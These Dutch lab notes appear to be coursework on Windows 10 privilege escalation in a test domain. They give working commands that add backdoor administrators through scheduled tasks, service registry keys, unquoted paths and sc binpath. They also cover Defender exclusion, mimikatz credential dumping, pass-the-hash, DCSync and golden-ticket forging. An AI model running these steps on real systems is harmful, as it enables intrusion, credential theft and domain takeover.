Dit document beschrijft Windows 10 Privilege Escalation (PrivEsc) technieken, waarbij aanvallers kwetsbaarheden of misconfiguraties misbruiken om verhoogde rechten te verkrijgen en zo volledige controle over een systeem te realiseren.

System Security

Windows 10 Privilege Escalation

Carlo van der Haar

1. Introductie

Privilege Escalation (PrivEsc) in Windows 10-systemen is een kritieke stap in veel cyberaanvallen, waarbij een aanvaller probeert om van beperkte gebruikersrechten naar hogere rechten, zoals beheerderstoegang, te escaleren. Dit geeft de aanvaller meer controle over het systeem, waardoor ze toegang krijgen tot gevoelige bestanden, programma's kunnen installeren, beveiligingsinstellingen kunnen wijzigen en zelfs nieuwe gebruikers kunnen toevoegen.

In Windows 10 zijn er verschillende technieken die kunnen worden misbruikt voor privilege escalation, zoals onveilige registry-permissies, kwetsbaarheden in services, verkeerd geconfigureerde geplande taken en DLL Hijacking. Vaak maken aanvallers gebruik van misconfiguraties in het besturingssysteem, zoals onjuist geconfigureerde services met onveilige pad instellingen (unquoted paths) of zwakke permissies op bestanden en mappen.

Aanvallers gebruiken vaak tools zoals accesschk om snel kwetsbaarheden te ontdekken. Wanneer een kwetsbaarheid is geïdentificeerd, proberen ze deze te exploiteren om hun rechten te verhogen. Eenmaal succesvol, kunnen ze persistentie creëren door middel van geplande taken of het toevoegen van backdoors.

Effectieve bescherming tegen privilege escalation begint met het goed configureren van systeeminstellingen, regelmatig patchen van kwetsbaarheden, en het beperken van toegangsrechten tot alleen wat nodig is voor een specifieke taak. Door misbruik van deze technieken te voorkomen, kan de impact van een aanval aanzienlijk worden verminderd.

Fases

1. **Informatie Verzamelen:** De aanvaller begint met het verzamelen van informatie over het doelwit. Dit kan systeeminformatie, draaiende processen, services, gebruikersrechten, en configuraties bevatten. Tools zoals systeminfo, tasklist, en net user kunnen hierbij worden gebruikt.
2. **Identificeren van Kwetsbaarheden of Misconfiguraties:** Nadat voldoende informatie is verzameld, zoekt de aanvaller naar kwetsbaarheden of misconfiguraties die misbruikt kunnen worden. Dit kan onveilige registry-instellingen, misgeconfigureerde services, onjuiste bestandspaden of verouderde software omvatten.
3. **Verifiëren van Exploitatiepotentieel:** De aanvaller verifieert of de geïdentificeerde kwetsbaarheid of misconfiguratie daadwerkelijk kan worden geëxploiteerd. Dit kan inhouden dat ze controleren of de benodigde rechten ontbreken of de exploit zonder detectie kan worden uitgevoerd.
4. **Misbruik van de Kwetsbaarheid:** Zodra de kwetsbaarheid is geverifieerd, wordt de exploit uitgevoerd. Dit kan bijvoorbeeld het injecteren van kwaadaardige code, het aanpassen van een service, of het uitvoeren van een geplande taak zijn om verhoogde rechten te verkrijgen.
5. **Verkrijgen van Verhoogde Toegang:** Nadat de exploit succesvol is uitgevoerd, verkrijgt de aanvaller verhoogde rechten, meestal op het niveau van een beheerder. Dit geeft hun meer controle over het systeem en toegang tot gevoelige onderdelen van het systeem.
6. **Behouden van Toegang (Persistence):** Na het verkrijgen van verhoogde rechten probeert de aanvaller vaak de toegang te behouden. Dit kan door middel van backdoors, geplande taken, registerwijzigingen of het toevoegen van nieuwe gebruikersaccounts met beheerdersrechten.
7. **Opruimen van Sporen:** Om ontdekking te voorkomen, verwijdert de aanvaller logs, herstelt gewijzigde configuraties of bestanden, en camoufleert hun aanwezigheid op het systeem, zodat de escalatie onopgemerkt blijft.

Inhoudsopgave

2. Informatie vergaren

Introductie

Informatie Verzamelen is de eerste en essentiële stap in een privilege escalation (PrivEsc) aanval. In deze fase probeert de aanvaller zoveel mogelijk details over het doelwit te verzamelen om potentiële zwakke plekken in het systeem te identificeren. Dit proces wordt ook wel "reconnaissance" genoemd en kan passief (zonder directe interactie met het systeem) of actief (via directe opdrachten) worden uitgevoerd.

Uitvoering

Systeeminformatie: De aanvaller verzamelt informatie over het besturingssysteem en de hardware van het doelwit. Dit omvat gegevens zoals het type en de versie van het besturingssysteem (bijvoorbeeld Windows 10), de systeemarchitectuur (32-bit of 64-bit), geïnstalleerde patches, en systeemconfiguraties. Door deze informatie te verzamelen, kan de aanvaller kwetsbaarheden identificeren die specifiek zijn voor die versie of configuratie.

Tool: **systeminfo**

Deze tool geeft gedetailleerde systeeminformatie weer, inclusief de Windows-versie, hotfixes en netwerkconfiguraties.

Draaiende Processen: Het in kaart brengen van draaiende processen helpt de aanvaller te begrijpen welke programma's actief zijn op het systeem. Dit kan aanwijzingen geven over welke services draaien met verhoogde rechten of welke programma's verouderd zijn en mogelijk kwetsbaarheden bevatten. Het kan ook helpen bij het identificeren van beveiligingssoftware die actief is en mogelijk detectie kan voorkomen.

Tool: **tasklist**

Deze tool toont alle actieve processen en hun geheugenverbruik. Het toont ook de gebruikersnaam waaronder de processen draaien, wat belangrijk kan zijn bij het zoeken naar processen die als beheerder worden uitgevoerd.

Services: Services in Windows draaien op de achtergrond en kunnen specifieke systeemfunctionaliteiten bieden, zoals netwerkverbindingen of het afhandelen van updates. Sommige services draaien met systeemrechten of beheerdersrechten, wat ze een aantrekkelijk doelwit maakt voor privilege escalation. Aanvallers proberen te identificeren of er mis geconfigureerde of kwetsbare services draaien die ze kunnen misbruiken.

Tool: **sc query**

Deze tool geeft informatie over de status en configuratie van services. Aanvallers gebruiken dit om te zien welke services draaien, met welke rechten, en of er onveilige paden (unquoted paths) zijn die kunnen worden geëxploiteerd.

Gebruikersrechten en -groepen: Door gebruikersrechten en groepslidmaatschappen te onderzoeken, kan een aanvaller bepalen welke rechten specifieke gebruikers hebben en of ze toegang hebben tot gevoelige delen van het systeem. Het doel is om gebruikers met verhoogde rechten (zoals beheerders) te identificeren. Als een aanvaller bijvoorbeeld toegang heeft tot een normale gebruiker, kan hij proberen te bepalen of die gebruiker in een administratieve groep zit of toegang heeft tot kritieke bronnen.

Tool: **net user**

Deze tool geeft informatie over de gebruikers die op het systeem bestaan, hun groepslidmaatschappen, en wanneer ze voor het laatst actief waren. Aanvallers kunnen dit gebruiken om te zien of er inactieve beheerdersaccounts zijn die mogelijk niet goed worden gecontroleerd.

Configuraties: Systeem- en applicatieconfiguraties bevatten vaak aanwijzingen over kwetsbaarheden of zwakke plekken. Aanvallers analyseren configuratiebestanden, registrysleutels, en instellingen om te zien of er misconfiguraties zijn die tot privilege escalation kunnen leiden. Dit kan variëren van onveilige bestandspermissies tot slecht geconfigureerde geplande taken.

Tool: **reg query**

Met deze tool kan de aanvaller specifieke registry-instellingen opvragen die informatie kunnen onthullen over applicatieconfiguraties of beveiligingsinstellingen. Kwetsbare registry-instellingen kunnen soms direct leiden tot verhoogde rechten.

Netwerkconfiguratie en Verbindingen: Soms kunnen netwerkconfiguraties en actieve netwerkverbindingen inzicht bieden in hoe het systeem communiceert met andere machines of systemen. Dit kan ook helpen bij het identificeren van kwetsbare services die via het netwerk toegankelijk zijn.

Tool: **netstat**

Deze tool toont actieve netwerkverbindingen en de gebruikte poorten. Dit helpt om te identificeren welke externe verbindingen openstaan, en of er diensten zijn die luisteren op netwerken die mogelijk kwetsbaar zijn.

Toegang tot Bestanden en Directories: Aanvallers controleren vaak de permissies op bestanden en mappen om te zien of ze toegang kunnen krijgen tot kritieke configuratiebestanden of gevoelige gegevens. Bestanden met onveilige permissies, zoals system-bestanden die kunnen worden gewijzigd door normale gebruikers, vormen een directe kans voor privilege escalation.

Tool: **icacls**

Deze tool wordt gebruikt om de toegangsrechten van bestanden en mappen te tonen en te wijzigen. Aanvallers gebruiken het om onveilige permissies op te sporen.

Resultaten

3. Kwetsbaarheden en Misconfiguraties

3.1 Scheduled Tasks

Introductie

Scheduled Tasks bieden een manier om geautomatiseerde taken uit te voeren op een Windows-systeem. Aanvallers kunnen misbruik maken van slecht geconfigureerde of onbeveiligde geplande taken door zichzelf als beheerder toe te voegen of hun eigen kwaadaardige taak uit te voeren, waardoor ze verhoogde rechten verkrijgen.

is kwetsbaar omdat ...

Kenmerken

Waarnaar te kijken...

- Tasks Migrated
- Auteur
- Trigger

Uitvoering

In C:\Windows\Tasks Migrated vinden we een scheduled task “Pinger”, open deze met notepad. Hier vinden we verschillende informatie geschreven in XML.

Belangrijke informatie is hier: wat, wanneer en door wie.

```
<Actions Context="Author">
	<Exec> <Command>C:\temp\pinger.bat</Command> </Exec>
</Actions>
<Triggers>
	<LogonTrigger> <Enabled>true</Enabled> </LogonTrigger>
</Triggers>
<Principal id="Author">
	<RunLevel>HighestAvailable</RunLevel>
	<UserId>WIN10CLIENT\Administrator</UserId>
	<LogonType>InteractiveToken</LogonType>
</Principal>
```


Hier staat dat de pinger.bat file wordt gerund op het moment dat er ingelogd wordt. Pinger.bat is gemaakt door de Administrator en zal gerund worden op de hoogste rechten.

Als we C:\temp\pinger.bat verwijderen en hier onze eigenversie van pinger.bat aanmaken zal deze nog steeds worden uitgevoerd met de hoogste rechten. Dit is omdat dit zo genoteerd staat in de Task Scheduler. En de auteur niet meer wordt gecontroleerd bij het automatisch runnen.

Het maken van een nieuwe .bat bestand gaat als volgt:

Pinger.txt ← net user carlo password /add && net localgroup Administrators carlo /add → Save

Verander extensie van pinger.txt naar pinger.bat (*Let op dat je er geen pinger.bat.txt van maakt!*)

Als we nu de pc herstarten zal de scheduled task worden uitgevoerd, wat betekend dat ons script wordt uitgevoerd en we nu in het bezit zijn van een eigen account met administrator rechten.

Open een nieuw cmd.exe als administrator en log in met de nieuwe administrator gegevens. Het kan zo zijn dat je .\carlo als gebruikersnaam moet invoeren om binnen het zelfde domein te blijven, je hebt immers maar een local administrator account.

3.2 Insecure Registry Services

Introductie

Windows Registry bevat belangrijke configuratie-instellingen voor het besturingssysteem en applicaties. Onveilige permissies binnen de registry kunnen door aanvallers worden misbruikt om toegang te krijgen tot gevoelige instellingen, deze aan te passen en verhoogde rechten te verkrijgen binnen het systeem.

Kenmerken

Waarnaar te kijken...

- *Services zonder descriptie*

Uitvoering

Search balk > “services” > Filter op “Description” > Services zonder description zijn niet oorspronkelijk van windows en waarschijnlijk door beheerder/admin/werknemer zelf aangemaakt.

Check “properties” van deze Services

Insecure Registry Service > Service name = regsvc

Search balk > “Registry Editor” > Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\regsvc > Pas ImagePath aan naar “cmd /c cmd.exe /c net user /add fakeadmin fakeadmin && net localgroup administrators fakeadmin /add”

Terug naar Services > klik op Insecure Registry Service > Start service

Admin CMD > net user fakeadmin (See; administrator rights)

3.3 Unquoted Path Services

Introductie

Een onvolledig geciteerde servicenaam in de Windows Services kan worden misbruikt om privilege escalation te realiseren. Aanvallers kunnen kwaadaardige bestanden plaatsen in paden met spaties, die door Windows onbedoeld worden uitgevoerd met verhoogde rechten wanneer de service start.

Kenmerken

Waarnaar te kijken...

- Paths zonder “”

Uitvoering

Search “Services” > Unquoted Path Service > Path to executable > C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe (Note: Geen “ “ om de pad structuur heen, dit is verplicht in windows. Wanneer deze service wordt gerund gebeurd het volgende:)

C:\Program.exe

C:\Program Files\Unquoted.exe

C:\Program Files\Unquoted Path Service\Common.exe

Als we naar rechten gaan kijken, van de specifieke mappen, properties, security, met Advanced knop, See ”special permissions”, Users(WIN10CLIENT\Users) Access = Full control

Hebben we rechten om in de C:\Program Files\Unquoted Path Service\ map bestanden te plaatsen.

Common.txt ← net user carlo1 password /add && net localgroup Administrators carlo1 /add

Daarna verander extensie Common.txt naar Common.bat naar Common.exe voor volledige executie (download bat to exe converter)

BAT 2 EXE (bat2exe moet op HOST computer gebeuren, lukt niet in VM zonder adminrechten, kan ook een .txt .bat en .exe sample aanmaken van “net user carlo1 password /add && net localgroup Administrators carlo1 /add” om online te downloaden)

Run bat2exe from cmd met het juiste .bat bestand en wanneer uitgevoerd kopieer de .exe bestand uit de Output map naar de juiste plek (C:\Program Files\Unquoted Path Service\ in dit geval)

En start de service > Admin CMD > net user fakeadmin (See; administrator rights)

3.4 Accesschk64 and SC QC

Introductie

Accesschk64 en SC QC zijn Windows-tools die worden gebruikt om toegangsniveaus en serviceconfiguraties te controleren. Aanvallers kunnen deze tools inzetten om misconfiguraties in permissies of services te identificeren, waardoor ze verhoogde rechten op het systeem kunnen verkrijgen.

Kenmerken

Waarnaar te kijken...

- .

Uitvoering

Download sysinternals suite & Gebruik in cmd accesschk64.exe

```
C:\Users\normaluser\Downloads\SysinternalsSuite>whoami
adlab\normaluser

C:\Users\normaluser\Downloads\SysinternalsSuite>accesschk64.exe -uwcqv "normaluser" *

Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

RW daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL
```

CMD: accesschk64.exe -accepteula -uwcqv DefaultAccount *

CMD: sc qc ServiceName

- The **qc** command displays the following information about a service: SERVICE_NAME (service's registry subkey name), TYPE, ERROR_CONTROL, BINARY_PATH_NAME, LOAD_ORDER_GROUP, TAG, DISPLAY_NAME, DEPENDENCIES, and SERVICE_START_NAME.
- Administrators can use **Sc** commands to determine the binary name of any service and find out whether it shares a process with other services. They do this by typing the following at the command prompt (where *ServiceName* is an actual service name):

```
C:\Users\normaluser\Downloads\SysinternalsSuite>sc qc daclsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: daclsvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : cmd /c cmd.exe /c net user /add fakeadmin B@ckd00r123 &&
 net localgroup administrators fakeadmin /add
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : DACL Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
```

Misschien moet de Binpath aangepast worden naar malicious code:

Cmd: sc config daclsvc binpath=”Your malicious code here”

“cmd /c cmd.exe /c net user /add fakeadmin2 password && net localgroup administrators fakeadmin2 /add”

Services > DACLSV > Start service

Cmd: net user (fakeadmin is added)

3.5 Dll hijacking

Introductie

DLL Hijacking vindt plaats wanneer een applicatie dynamische link libraries (DLL's) laadt op een onveilige manier. Een aanvaller kan kwaadaardige DLL's in de plaats van legitieme bestanden injecteren, waardoor ze controle krijgen over de applicatie en mogelijk het volledige systeem.

Kenmerken

Waarnaar te kijken...

- .

Uitvoering

Install SysInternals Suite op Host Machine en Run ProcMon64.exe op deze host machine (je hebt admin rechten nodig om dit te runnen, en dit hebben we nog niet op onze VM.)

BAT 2 EXE

sc create <servicename> binpath="c:\fullpath\to\service.exe"

run process monitor with filter (ProcMon)

process name is <name of exe>

result is NAME NOT FOUND

path ends in .dll

see list of places where windows tries to find the dll

check on vm where you have write access

echo %path%

c:\temp

Bronnen

https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dll-hijacking

https://bat-to-exe-converter-x64.en.softonic.com/

https://medium.com/@zapbroob9/dll-hijacking-basics-ea60b0f2a1d8

3.6 Remote Mouse

Introductie

De Remote Mouse applicatie, gebruikt om een computer op afstand te bedienen, heeft in het verleden kwetsbaarheden gehad. Aanvallers kunnen deze kwetsbaarheden misbruiken om via netwerktoegang beheerdersrechten te verkrijgen door onbeveiligde communicatie tussen de client en het systeem te manipuleren.

Kenmerken

Waarnaar te kijken...

- *Of Remoute Mouse Applicatie geinstalleerd is.*

Uitvoering

Toggle hidden icons > Start remote mouse > Settings > Change “Image Transfer Folder” > Error “Location is not available” > Open vanuit de actieve bestandslocatie door in de URI “cmd.exe” te typen > whoami > creëer nu een eigen administrator account.

4. Privilege Escalation

Na het maken van localadmin, zet windows defender uit en exclude de C: folder.

Mimikatz

Install Releases · gentilkiwi/mimikatz (github.com) mimikatz_trunk.zip

Information Mimikatz tutorial: How it hacks Windows passwords, credentials | TechTarget

C:\Users\normaluser\Downloads\mimikatz_trunk\x64\mimikatz.exe

Run CMD in administrator (fakeadmin)

mimikatz # Privilege::debug

Privilege '20' OK

mimikatz # Log

Using 'mimikatz.log' for logfile : OK

mimikatz # sekurlsa::logonpasswords

USER*: Administrator*

DOMAIN*: WIN10CLIENT*

NTLM*: af992895db0f2c42a1bc96546e92804a*

mimikatz # sekurlsa::pth /user:Administrator /domain:WIN10CLIENT /ntlm:af992895db0f2c42a1bc96546e92804a

ping -4 win10adm

cd C:\Users\normaluser\Downloads\SysinternalsSuite

PsExec.exe -r malware -accepteula \\192.168.56.30 cmd.exe

[Wait one minute and press enter a lot]

How to Pass-the-Hash with Mimikatz | Cobalt Strike

Check voor correct executed PrivEsc → dir \\ip-of-admin\c$

Nu zijn we verbonden met WIN10ADM met het administrator account. Nu zullen we door middel van de cmd opnieuw stappen moeten uitvoeren

1. **Exclude defender**
2. **Download mimikatz**
3. **Pass the hash (DA)**

Change directory

Cd ../../temp

Maybe: mkdir temp

Exclude C:/temp op defender

powershell -Command "Add-MpPreference -ExclusionPath 'C:\temp'"

Download Mimikatz

curl -L -o mimikatz_trunk.zip https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip

curl -O https://download.sysinternals.com/files/SysinternalsSuite.zip

psloggedon \\win10adm -accepteula

tar -xf SysinternalsSuite.zip

Uitpakken en runnen

Cd x64

Mimikatz.exe

Run

mimikatz # sekurlsa::logonpasswords

USER*: domad*

DOMAIN*: ADLAB.local*

NTLM*: cff48581d56085119bddffacfae51aeb*

mimikatz # sekurlsa::pth /user:*domad* /domain:*adlab.local* /ntlm:*cff48581d56085119bddffacfae51aeb*

Check Domain admin (only DA can do this) → dir \\ip-of-admin\c$

Mimikatz.exe

lsadump::dcsync /domain adlab.local /all /csv

Golden Ticket

502 krbtgt cc326e8519157da4bf8ef543b8680dc3 514

kerberos::golden /domain:cstlab.local /sid:S-1-5-21-1008753076-3685202763-2084954002 /rc4:a4372e07f5bb557d5304ceddaa0245ae /user:tomadmin /id:500 /ptt

Challenge

1 Privilige-escalation – Kies een methode

2. Exclude defender

3. Download mimikatz en dump hashes

4. pass the hash met de admin hash (open een echte admin cmd)

5. test credentials met dir \\ip-of-admin\c$ (alleen een admin kan deze share weergeven)

6. psexec maar de admin pc – controleer met hostname commando

7. *Zoek naar DA credentials (domain admin)*

Enumeration

net user /domain

net group /domain

net group "domain admins" /domain

psloggedon \\win10adm -accepteula

bloodhound

creating and using a golden ticket:

1) gathering the krbtgt hash and the domain sid

a) krbtgt hash gained from lsadump::dcsync

b) domain sid whoami /user

S-1-5-21-1008753076-3685202763-2084954002

2) run the command (eg):

kerberos::golden /domain:cstlab.local /sid:S-1-5-21-1008753076-3685202763-2084954002 /rc4:a4372e07f5bb557d5304ceddaa0245ae /user:tomadmin /id:500 /ptt

3) open a cmd prompt with the ticket in memory

misc::cmd

OR

save the ticket for later use

kerberos::golden /domain:cstlab.local /sid:S-1-5-21-1008753076-3685202763-2084954002 /rc4:a4372e07f5bb557d5304ceddaa0245ae /user:Idontexist /id:500

(saved as ticket.kirbi)

Then use later

kerberos::ptt ticket.kirbi

misc::cmd

when accessing the resource, use the name of the resource to force kerberos authentication

dir \\win2019dc\c$

Interesting Links

https://pentestlab.blog/2022/02/01/machine-accounts/

https://delinea.com/blog/windows-privilege-escalation

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc